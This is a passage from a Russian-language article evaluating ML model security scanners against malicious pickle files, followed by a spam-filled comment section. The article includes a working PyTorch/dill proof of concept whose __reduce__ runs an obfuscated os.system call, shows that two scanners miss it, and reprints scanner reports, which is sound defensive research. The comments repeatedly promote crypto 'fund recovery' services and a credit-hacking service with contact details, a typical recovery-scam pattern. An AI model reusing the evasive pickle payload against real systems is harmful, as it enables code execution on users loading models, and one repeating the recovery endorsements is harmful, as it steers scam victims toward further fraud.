    "analysis": "`from numpy import save` imports a Python module that is not a part of the standard library; this can execute arbitrary code and is inherently unsafe\n`from numpy._core.multiarray import _reconstruct` imports a Python module that is not a part of the standard library; this can execute arbitrary code and is inherently unsafe\n`from numpy import ndarray` imports a Python module that is not a part of the standard library; this can execute arbitrary code and is inherently unsafe\n`from numpy import dtype` imports a Python module that is not a part of the standard library; this can execute arbitrary code and is inherently unsafe\nVariable `_var4` is assigned value `save('/tmp/hacked.npy', _var3)` but unused afterward; this is suspicious and indicative of a malicious pickle file",
    "detailed_results": {
        "AnalysisResult": {
            "NonStandardImports": "from numpy import dtype",
            "UnusedVariables": [
                "_var4",
                "save('/tmp/hacked.npy', _var3)"
            ]
        }
    }
}

Отчет modelaudit (для краткости удалены проверки, не выдавшие результат)

{
  "bytes_scanned": 360,
  "issues": [
    {
      "message": "Found REDUCE opcode with non-allowlisted global: _reconstruct.ndarray. This may indicate CVE-2025-32434 exploitation (RCE via torch.load)",
      "severity": "warning",
      "location": "...\\bypass_numpy.pkl (pos 283)",
      "details": {
        "position": 283,
        "opcode": "REDUCE",
        "associated_global": "_reconstruct.ndarray",
        "cve_id": "CVE-2025-32434",
        "ml_context_confidence": 0.135
      },
      "why": "The REDUCE opcode calls a callable with arguments, effectively executing arbitrary Python functions. This is the primary mechanism for pickle-based code execution attacks through __reduce__ methods.",
      "timestamp": 1766489299.795178,
      "type": "pickle_check"
    },
    {
      "message": "STACK_GLOBAL opcode found without sufficient string context",
      "severity": "info",
      "location": "...\\bypass_numpy.pkl (pos 302)",
      "details": {
        "position": 302,
        "opcode": "STACK_GLOBAL",
        "stack_size": 1,
        "ml_context_confidence": 0.135
      },
      "why": "STACK_GLOBAL requires two strings on the stack (module and function name) to import and access module attributes. Insufficient context prevents determining which module is being accessed.",
      "timestamp": 1766489299.7956276,
      "type": "pickle_check"
    }
  ],
  "checks": [
  < СОКРАЩЕНО >
  ],
  "files_scanned": 1,
  "assets": [
    {
      "path": "...\\bypass_numpy.pkl",
      "type": "pickle",
      "size": 360
    }
  ],
  "has_errors": false,
  "scanner_names": [],
  "file_metadata": {
    "...\\bypass_numpy.pkl": {
      "file_size": 360,
      "file_hashes": {
        "md5": "218060b2af6fa1e7cfde170a407c22ed",
        "sha256": "a7d0548dea9f44333a0096f3712d14bd2cdf4ab487934a8553942cd9735e83cd",
        "sha512": "45e786da9657fb51e98a887c3870a6a54ac3060b00a20b4dc50102a64d72bde45424c0a57844e89841e3188daa8b2b8c99564689a5e594a1da6881c84a039b79"
      },
      "max_stack_depth": 7,
      "opcode_count": 152,
      "suspicious_count": 0,
      "ml_context": {
        "frameworks": {
          "sklearn": {
            "confidence": 0.135,
            "indicators": [],
            "file_patterns": []
          }
        },
        "overall_confidence": 0.135,
        "is_ml_content": false,
        "detected_patterns": [
          "module:numpy(1)"
        ],
        "optimization_hints": []
      },
      "license_info": [],
      "copyright_notices": [],
      "license_files_nearby": [],
      "is_dataset": true,
      "is_model": true,
      "risk_score": 0.0,
      "scan_timestamp": 1766489299.7962291
    }
  },
  "content_hash": "efe87668d7c0ba45b2294d6fba02025c30c1ce2a8537716f9a9216b3c7576af0",
  "start_time": 1766489299.430575,
  "duration": 0.368363618850708,
  "total_checks": 16,
  "passed_checks": 14,
  "failed_checks": 1,
  "success": true
}

Использование форматов, расширяющих функционал Pickle

Существуют протоколы, которые позволяют сериализовать еще больший список объектов по сравнению со стандартным Pickle. Примерами таких форматов являются dill и cloudpickle.

В качестве альтернативного механизма сериализации PyTorch поддерживает Dill. Его ключевое преимущество — возможность сохранять функции и лямбда-выражения. Пример такой сериализации:

import torch
import dill

def run_cmd(cmd):
    x = '__im'
    y = 'po'
    z = 'rt__'
    o = 'o'
    s = 's'
    import builtins
    module = getattr(builtins, x + y + z)(o + s)
    getattr(module, 'sys' + 'tem')(cmd)

class Exploit:
    def __reduce__(self):
        return (run_cmd, ("echo HACKED >> /tmp/hacked_obf",))

model = torch.nn.Linear(1, 1)
exploit = Exploit()

torch.save({'model': model, 'exploit': exploit}, 'malicious.pth', pickle_module=dill)

Представленный код помимо использования dill демонстрирует своеобразную обфускацию кода внутри вызываемой функции.

Для успешной (с точки зрения злоумышленника) загрузки malicious.pth можно использовать несколько подходов:

torch.load('malicious.pth', pickle_module=dill)
torch.load('malicious.pth', weights_only=False)

Последнему варианту стоит уделить особое внимание, так как до PyTorch 2.6 атрибут weights_only не был задан как True по умолчанию и вдобавок к этому поиск на GitHub по запросу "torch" AND "weights_only=False" выдает более 80 тыс. результатов.

Сводка проверок собранного malicious.pth всеми сканерами (отчеты сканеров представлены ниже):

Сканер	Найдены ли проблемы	Уровень опасности	Обозначения сработавших проверок
picklescan	❌
modelscan	❌
fickling	не поддерживает формат `.pth`
modelaudit	✅	warning, critical	1. `Suspicious patterns detected: STACK_GLOBAL(3), GLOBAL(9), OBJ(1), NEWOBJ(1), REDUCE(3) opcodes detected` 2. `Legacy dangerous pattern detected: __import__` 3. `Suspicious reference dill._dill._create_code` 4. ...

Отчет picklescan:

$ picklescan --globals --path .\malicious.pth
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Dangerous globals: 0
All globals found:
  * dill._dill._create_code - suspicious
  * _codecs.encode - suspicious
  * torch.nn.modules.linear.Linear - suspicious
  * __main__.__dict__ - suspicious
  * torch._utils._rebuild_tensor_v2 - innocuous
  * collections.OrderedDict - innocuous
  * torch._utils._rebuild_parameter - suspicious
  * dill._dill._load_type - suspicious
  * dill._dill._create_function - suspicious
  * torch.FloatStorage - innocuous

Отчет modelscan:

$ modelscan -p malicious.pth
No settings file detected at /.../modelscan-settings.toml. Using defaults. 

Scanning /.../malicious.pth:malicious/data.pkl using modelscan.scanners.PickleUnsafeOpScan model scan

--- Summary ---

 No issues found! 🎉

--- Skipped ---

Отчет modelaudit (для краткости из отчета удалены проверки, не выдавшие результат)

{
  "bytes_scanned": 5522,
  "issues": [
    {
      "message": "Suspicious patterns detected: STACK_GLOBAL(3), GLOBAL(9), OBJ(1), NEWOBJ(1), REDUCE(3) opcodes detected",
      "severity": "warning",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl",
      "details": {
        "cve_id": "CVE-2025-32434",
        "opcode_counts": {
          "STACK_GLOBAL": 3,
          "GLOBAL": 9,
          "OBJ": 1,
          "NEWOBJ": 1,
          "REDUCE": 3
        },
        "total_dangerous_opcodes": 17,
        "unique_opcode_types": [
          "OBJ",
          "NEWOBJ",
          "STACK_GLOBAL",
          "GLOBAL",
          "REDUCE"
        ],
        "code_execution_risks": [
          "New-style object creation",
          "Module import and attribute access",
          "Object creation code execution",
          "Direct code execution patterns",
          "Dynamic import and attribute access",
          "__reduce__ method exploitation"
        ],
        "import_analysis": {
          "total_imports": 10,
          "all_legitimate": false,
          "found_malicious": [],
          "found_imports": [
            "__main__.__dict__",
            "_codecs.encode",
            "dill._dill._create_function",
            "torch.nn.modules.linear.Linear",
            "torch.FloatStorage",
            "torch._utils._rebuild_parameter",
            "torch._utils._rebuild_tensor_v2",
            "dill._dill._load_type",
            "collections.OrderedDict",
            "dill._dill._create_code"
          ]
        },
        "safetensors_available": false,
        "assessment": "suspicious",
        "vulnerability_description": "The weights_only=True parameter in torch.load() does not prevent code execution from pickle files, contrary to common security assumptions.",
        "recommendation": "Model contains unusual pickle patterns that require manual review. Consider using SafeTensors format or verifying model source before deployment.",
        "affected_pytorch_versions": "All versions ≤2.5.1",
        "fixed_in": "PyTorch 2.6.0"
      },
      "timestamp": 1766529556.1877365,
      "type": "pytorch_zip_check"
    },
    {
      "message": "Legacy dangerous pattern detected: __import__",
      "severity": "warning",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl",
      "details": {
        "pattern": "__import__",
        "detection_method": "legacy_pattern_matching",
        "pickle_filename": "no_obf/data.pkl"
      },
      "timestamp": 1766529556.176348,
      "type": "pickle_check"
    },
    {
      "message": "Suspicious reference dill._dill._create_code",
      "severity": "critical",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl",
      "details": {
        "module": "dill._dill",
        "function": "_create_code",
        "opcode": "STACK_GLOBAL",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.",
      "timestamp": 1766529556.1856666,
      "type": "pickle_check"
    },
    {
      "message": "Suspicious reference dill._dill._load_type",
      "severity": "critical",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl",
      "details": {
        "module": "dill._dill",
        "function": "_load_type",
        "opcode": "STACK_GLOBAL",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.",
      "timestamp": 1766529556.1858368,
      "type": "pickle_check"
    },
    {
      "message": "Suspicious reference dill._dill._create_function",
      "severity": "critical",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl",
      "details": {
        "module": "dill._dill",
        "function": "_create_function",
        "opcode": "STACK_GLOBAL",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.",
      "timestamp": 1766529556.1860723,
      "type": "pickle_check"
    },
    {
      "message": "Found NEWOBJ opcode - potential code execution",
      "severity": "warning",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 53)",
      "details": {
        "position": 53,
        "opcode": "NEWOBJ",
        "argument": "None",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The NEWOBJ opcode creates new-style class instances. It can execute initialization code and is commonly used in pickle exploits.",
      "timestamp": 1766529556.1862166,
      "type": "pickle_check"
    },
    {
      "message": "Suspicious reference dill._dill._load_type",
      "severity": "critical",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 438)",
      "details": {
        "module": "dill._dill",
        "function": "_load_type",
        "position": 438,
        "opcode": "GLOBAL",
        "import_reference": "dill._dill._load_type",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.",
      "timestamp": 1766529556.1864522,
      "type": "pickle_check"
    },
    {
      "message": "Found REDUCE opcode with non-allowlisted global: dill._dill._load_type. This may indicate CVE-2025-32434 exploitation (RCE via torch.load)",
      "severity": "critical",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 476)",
      "details": {
        "position": 476,
        "opcode": "REDUCE",
        "associated_global": "dill._dill._load_type",
        "cve_id": "CVE-2025-32434",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The REDUCE opcode calls a callable with arguments, effectively executing arbitrary Python functions. This is the primary mechanism for pickle-based code execution attacks through __reduce__ methods.",
      "timestamp": 1766529556.186561,
      "type": "pickle_check"
    },
    {
      "message": "Suspicious reference dill._dill._create_function",
      "severity": "critical",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 977)",
      "details": {
        "module": "dill._dill",
        "function": "_create_function",
        "position": 977,
        "opcode": "GLOBAL",
        "import_reference": "dill._dill._create_function",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.",
      "timestamp": 1766529556.1866915,
      "type": "pickle_check"
    },
    {
      "message": "Suspicious reference dill._dill._create_code",
      "severity": "critical",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 1009)",
      "details": {
        "module": "dill._dill",
        "function": "_create_code",
        "position": 1009,
        "opcode": "GLOBAL",
        "import_reference": "dill._dill._create_code",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.",
      "timestamp": 1766529556.1867952,
      "type": "pickle_check"
    },
    {
      "message": "Found REDUCE opcode with non-allowlisted global: _codecs.encode. This may indicate CVE-2025-32434 exploitation (RCE via torch.load)",
      "severity": "warning",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 1094)",
      "details": {
        "position": 1094,
        "opcode": "REDUCE",
        "associated_global": "_codecs.encode",
        "cve_id": "CVE-2025-32434",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The REDUCE opcode calls a callable with arguments, effectively executing arbitrary Python functions. This is the primary mechanism for pickle-based code execution attacks through __reduce__ methods.",
      "timestamp": 1766529556.1869295,
      "type": "pickle_check"
    },
    {
      "message": "Found REDUCE opcode with non-allowlisted global: __main__.__dict__. This may indicate CVE-2025-32434 exploitation (RCE via torch.load)",
      "severity": "warning",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 1737)",
      "details": {
        "position": 1737,
        "opcode": "REDUCE",
        "associated_global": "__main__.__dict__",
        "cve_id": "CVE-2025-32434",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The REDUCE opcode calls a callable with arguments, effectively executing arbitrary Python functions. This is the primary mechanism for pickle-based code execution attacks through __reduce__ methods.",
      "timestamp": 1766529556.1870513,
      "type": "pickle_check"
    }
  ],
  "checks": [
    < СОКРАЩЕНО >
  ],
  "files_scanned": 1,
  "assets": [
    {
      "path": "...\\torch_obfuscated\\no_obf.pth",
      "type": "pytorch_zip",
      "size": 3421
    }
  ],
  "has_errors": false,
  "scanner_names": [],
  "file_metadata": {
    "...\\torch_obfuscated\\no_obf.pth": {
      "file_size": 3421,
      "file_hashes": {
        "md5": "84a4506f4c738417a0448d1e3768f230",
        "sha256": "bbe230a6e86e6200662186f400e76f6bbbe5f10097950f9bbe3692c2d377a7d2",
        "sha512": "3cbb48b4bc86427f889b72269ac72d38e2cfd9a3f47856db2f2ca6a13fec14ec30e4a3d82f9d9cd223baa2acbaca0d9842371cc9029d6a546e67a38e8c8c9e68"
      },
      "max_stack_depth": 18,
      "opcode_count": 345,
      "suspicious_count": 6,
      "ml_context": {
        "frameworks": {
          "pytorch": {
            "confidence": 0.315,
            "indicators": [],
            "file_patterns": []
          }
        },
        "overall_confidence": 0.315,
        "is_ml_content": true,
        "detected_patterns": [
          "module:torch(4)",
          "module:collections(1)"
        ],
        "optimization_hints": []
      },
      "license_info": [],
      "copyright_notices": [],
      "license_files_nearby": [],
      "is_dataset": false,
      "is_model": true,
      "risk_score": 0.0,
      "scan_timestamp": 1766529556.1899319,
      "pickle_files": [
        "no_obf/data.pkl"
      ]
    }
  },
  "content_hash": "9b51092dc796284028b3f7f6cf3d6ac7d11f9b8d761127d01885ed0a0cffe9a1",
  "start_time": 1766529554.3617566,
  "duration": 1.8323705196380615,
  "total_checks": 24,
  "passed_checks": 18,
  "failed_checks": 6,
  "success": true
}

Выводы

Как бы это банально ни звучало – использование непроверенных моделей машинного обучения повышает риски наступления опасного инцидента ИБ, но для снижения этих рисков недостаточно выбрать какой-то новый сканер, ведь у каждого из них есть свои ограничения как по применяемым типам проверок, так и по поддерживаемым форматам сериализации моделей.

Среди всех проанализированных инструментов самым зрелым оказался modeaudit, опережая всех конкурентов по основным, на мой взгляд, параметрам:

Подробная документация,
Множество поддерживаемых для сканирования форматов хранения моделей,
Множество разнообразных типов проверок.

Стоит уточнить, что в данном обзоре никак не фигурировали возможные ошибки первого рода (False Positive). Но если вы не занимаетесь проверкой сотен и более моделей в день, то для вас основной проблемой при сканировании будет ошибка второго рода, то есть, False Negative.

P.S.: Выражаю благодарность за помощь в доработке статьи Артёму Семёнову, автору канала @pwnai

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20 янв. 2026 г.

22.06.26 21:51 kimberlyhebert786

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CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
24.06.26 14:16 Universina da Mota

Becoming a victim of an investment scam is never anyone's intention it often happens because fraudsters exploit trust and a lack of awareness. I would like to express my sincere gratitude to the dedicated team at ResQpro for their professionalism and commitment to helping victims of online investment fraud. Their efforts in assisting individuals with the recovery of stolen assets and holding scammers accountable are truly commendable. If you need assistance or would like to learn more, you can contact them through: Email: [email protected] Alternative Email: [email protected] Telegram: @ResQprofirm WhatsApp: +1 (985) 296-9146
24.06.26 14:21 Elizabeth Thompson

If you believe you have been the victim of an investment scam, it is important to act promptly and gather all relevant information. Keep records of transaction receipts, wallet addresses, communication logs, account details, and any other evidence related to the incident. Providing accurate documentation can help investigators, financial institutions, legal professionals, or recovery specialists review your case and determine what options may be available. Be cautious of anyone who guarantees the recovery of lost funds or requests large upfront payments. For additional information, you may contact: Email: [email protected] Telegram: @ResQprofirm WhatsApp: +1 (985) 296-9146
24.06.26 15:33 Júlia Castro

If you have fallen victim to an investment scam, it is important to act quickly and gather all available evidence related to the incident. This may include transaction records, wallet addresses, screenshots of conversations, emails, account details, and any information connected to the individuals or entities involved. Having complete documentation can help professionals assess your situation and explore possible recovery options. Always exercise caution when seeking assistance and carefully verify the credentials of any service provider before proceeding. For further information, you may contact: Email: [email protected] Telegram: @ResQprofirm WhatsApp: +1 (985) 296-9146
24.06.26 22:01 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
24.06.26 22:01 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
25.06.26 21:13 Emilie Safi

A fraudulent investment scheme operated by BTCMining.limited functions as a fake return scam. In this setup, scammers lure victims with false promises of high returns. Through manipulative tactics, they gain individuals' trust and convince them to invest, ultimately leading to financial loss. If you have ever faced a cyber threat or fallen victim to an online crypto scam and need to reach the authorities, I recommend contacting [email protected], [email protected], WhatsApp +19852969146, telegram @resqprofirm. They are a legitimate team that helps victims of online crypto scams using advanced tools.
25.06.26 21:25 Emilie Safi

So I ended up losing $38,000 to this platform. At first, they kept asking me to put in more money so I could get into my portfolio. I did that, but then they wouldn’t let me withdraw anything—just kept asking for more deposits. It got way too suspicious, so I stopped. I found this company called ResQProfirm on Google and told them what happened. They got in touch, asked me to walk them through everything, and I gave them all the proof I had. They did an amazing job tracking down my money and getting it back. Big thanks to them at [email protected] and on WhatsApp at +19852969146. Please be careful out there and always research before investing.
26.06.26 01:04 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
26.06.26 01:04 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
26.06.26 02:48 Miriam Rocha

I trusted this platform with $120,000 of my hard-earned money. Then they started asking for more deposits just so I could access my own portfolio. I paid, but every withdrawal request was denied. They kept pushing for more money. I finally stopped it just felt wrong. Desperate, I found ResQProfirm on Google. They didn't just hear me out; they truly listened. I shared all my proof, and they launched an investigation. Thanks to their hard work, they tracked and returned my funds. From the bottom of my heart, thank you to [email protected] and their WhatsApp +19852969146. Please stay safe and always verify a platform before investing
26.06.26 02:52 Miško Bakić

I got my $232,000 refund thanks to [email protected] and WhatsApp +19852969146. Highly recommended for anyone in a similar situation.
26.06.26 02:56 Asunción Herrera

A recovery of $48,330 was facilitated by [email protected]. Individuals who have experienced financial fraud may consider contacting this service.
26.06.26 15:05 Riley Stephens

If withdrawals keep getting denied, stay calm. I went through the same, and this firm helped me recover everything. Their assistance was outstanding. Contact: [ResQProFirm @Gmail|•|com], Telegram: ResQprofirm, WhatsApp: <+198> <5296> <9146>.
26.06.26 15:09 Antonio Riley

Withdrawal troubles shouldn’t stress you out. I faced a similar problem, and this firm stepped in and recovered my funds. Their support truly mattered. Contact them: [[email protected], ResQprofirm @aol.com], Telegram: ResQprofirm, WhatsApp: +19852969146.
28.06.26 00:37 kimberlyhebertt673

I invested in bitcoin trading After losing $78.4 USDT) linked to a romance fraud scam worth of cryptocurrency through an online investment platform and later discovered it was a scam. After extensive research for recovery options, I contacted CAPITAL CRYPTO RECOVER based on positive client reviews and recommendations. Their professional security team guided me through the recovery process using advanced technology, and I was able to recover my lost cryptocurrency successfully. I am truly grateful for their support and assistance during such a difficult experience. I will advise you to contact CAPITAL CRYPTO RECOVER helped me recover my funds. For anyone facing similar issues, Website: https://recovercapital.wixsite.com/capital-crypto-rec-1 Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text Number: +1 (336) 390-6684
28.06.26 00:37 kimberlyhebertt673

I invested in bitcoin trading After losing $78.4 USDT) linked to a romance fraud scam worth of cryptocurrency through an online investment platform and later discovered it was a scam. After extensive research for recovery options, I contacted CAPITAL CRYPTO RECOVER based on positive client reviews and recommendations. Their professional security team guided me through the recovery process using advanced technology, and I was able to recover my lost cryptocurrency successfully. I am truly grateful for their support and assistance during such a difficult experience. I will advise you to contact CAPITAL CRYPTO RECOVER helped me recover my funds. For anyone facing similar issues, Website: https://recovercapital.wixsite.com/capital-crypto-rec-1 Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text Number: +1 (336) 390-6684
29.06.26 11:57 Lisadonato0726

For 43 years, I struggled with bad credit due to my own poor decisions, and my credit score was around 490. When my girlfriend and I decided to buy a house, a mortgage broker informed us that it would be impossible to secure a mortgage with my credit score. As a result, she referred me to a company called HACK MAVENS CREDIT SPECIALIST, assuring me of their professionalism and ability to assist with credit improvement. Upon contacting them, I was impressed by their professionalism and they assured me that they could help. In less than 6 days, my credit score skyrocketed to 785, and they also successfully resolved issues in my credit report, including the bankruptcy. I am incredibly satisfied with their service and would highly recommend HACK MAVENS CREDIT SPECIALIST for reliable credit repairs. You can reach them at H A C K M A V E N S 5 [AT] G M A I L [DOT] COM or at [+] [1] [2 0 9] [4 1 7] – [1 9 5 7]. Thanks to their help, my girlfriend and I are now proud homeowners.
29.06.26 22:37 riley777

Back in 2025, I watched my life savings vanish. A thief took every cent. I felt desperate and went looking for a way to get it back. I found a guy here who said he was an expert haha. He talked about special software that could find my missing cash. I trusted him. That was a big mistake. He was just another scammer. I paid him a software fee and then he just stopped answering my texts and ran off with my money too. I felt so ashamed that I kept quiet about it for months. It is hard to admit you got fooled twice. Later on, I found a real pro. she did not use a fancy sales pitch. she just looked at the trans screenshots and followed the path the money took. she worked fast and got my funds back into my account. Having that money back changed everything. I can sleep again. her info; [email protected]. Call/chatroom on Whtasapp/ +44 7476618364.
30.06.26 15:08 wendytaylor015

